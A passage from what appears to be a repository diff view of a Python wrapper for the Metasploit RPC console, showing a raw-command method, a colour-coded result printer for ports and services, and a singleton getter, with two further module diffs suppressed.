def run_console_command(self, command: str, timeout: int = 30) -> Tuple[bool, str]:
|
||||
"""Run a raw console command and return output.
|
||||
|
||||
This is a lower-level method for direct console access.
|
||||
|
||||
Args:
|
||||
command: Console command to run.
|
||||
timeout: Timeout in seconds.
|
||||
|
||||
Returns:
|
||||
Tuple of (success, output).
|
||||
"""
|
||||
connected, msg = self.ensure_connected()
|
||||
if not connected:
|
||||
return False, msg
|
||||
|
||||
try:
|
||||
output = self.manager.rpc.run_console_command(command, timeout=timeout)
|
||||
return True, output
|
||||
except Exception as e:
|
||||
self._last_error = str(e)
|
||||
return False, str(e)
|
||||
|
||||
def print_result(self, result: MSFResult, verbose: bool = False):
|
||||
"""Print a formatted result to the console.
|
||||
|
||||
Args:
|
||||
result: MSFResult to print.
|
||||
verbose: If True, show all output including info lines.
|
||||
"""
|
||||
print(f"\n{Colors.CYAN}Module Output:{Colors.RESET}")
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||
|
||||
if result.status == MSFStatus.NOT_CONNECTED:
|
||||
print(f" {Colors.RED}[X] Not connected to Metasploit{Colors.RESET}")
|
||||
if result.errors:
|
||||
print(f" {result.errors[0]}")
|
||||
elif result.status == MSFStatus.AUTH_ERROR:
|
||||
print(f" {Colors.RED}[X] Authentication failed{Colors.RESET}")
|
||||
elif result.status == MSFStatus.TIMEOUT:
|
||||
print(f" {Colors.YELLOW}[!] Execution timed out{Colors.RESET}")
|
||||
else:
|
||||
# Print findings (green)
|
||||
for line in result.findings:
|
||||
print(f" {Colors.GREEN}{line}{Colors.RESET}")
|
||||
|
||||
# Print info (cyan) - only in verbose mode
|
||||
if verbose:
|
||||
for line in result.info:
|
||||
print(f" {Colors.CYAN}{line}{Colors.RESET}")
|
||||
|
||||
# Print warnings (yellow)
|
||||
for line in result.warnings:
|
||||
print(f" {Colors.YELLOW}{line}{Colors.RESET}")
|
||||
|
||||
# Print errors (dim)
|
||||
for line in result.errors:
|
||||
print(f" {Colors.DIM}{line}{Colors.RESET}")
|
||||
|
||||
# Summarize error count if high
|
||||
if result.error_count > 0:
|
||||
print(f"\n {Colors.YELLOW}[!] {result.error_count} errors occurred during execution{Colors.RESET}")
|
||||
|
||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
||||
|
||||
# Print summary
|
||||
if result.execution_time > 0:
|
||||
print(f" {Colors.DIM}Time: {result.execution_time:.1f}s{Colors.RESET}")
|
||||
print(f" {Colors.DIM}Status: {result.get_summary()}{Colors.RESET}")
|
||||
|
||||
# Print parsed port/service info if available
|
||||
if result.open_ports:
|
||||
print(f"\n {Colors.GREEN}Open Ports:{Colors.RESET}")
|
||||
for port_info in result.open_ports:
|
||||
print(f" {port_info['port']}/tcp - {port_info.get('state', 'open')}")
|
||||
|
||||
if result.services:
|
||||
print(f"\n {Colors.GREEN}Services Detected:{Colors.RESET}")
|
||||
for svc in result.services:
|
||||
print(f" {svc['ip']}:{svc['port']} - {svc['info']}")
|
||||
|
||||
|
||||
# Global instance
|
||||
_msf_interface: Optional[MSFInterface] = None
|
||||
|
||||
|
||||
def get_msf_interface() -> MSFInterface:
|
||||
"""Get the global MSF interface instance."""
|
||||
global _msf_interface
|
||||
if _msf_interface is None:
|
||||
_msf_interface = MSFInterface()
|
||||
return _msf_interface
|
||||
1192
core/msf_modules.py
Normal file
1192
core/msf_modules.py
Normal file
File diff suppressed because it is too large
Load Diff
1124
core/msf_terms.py
Normal file
1124
core/msf_terms.py
Normal file
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user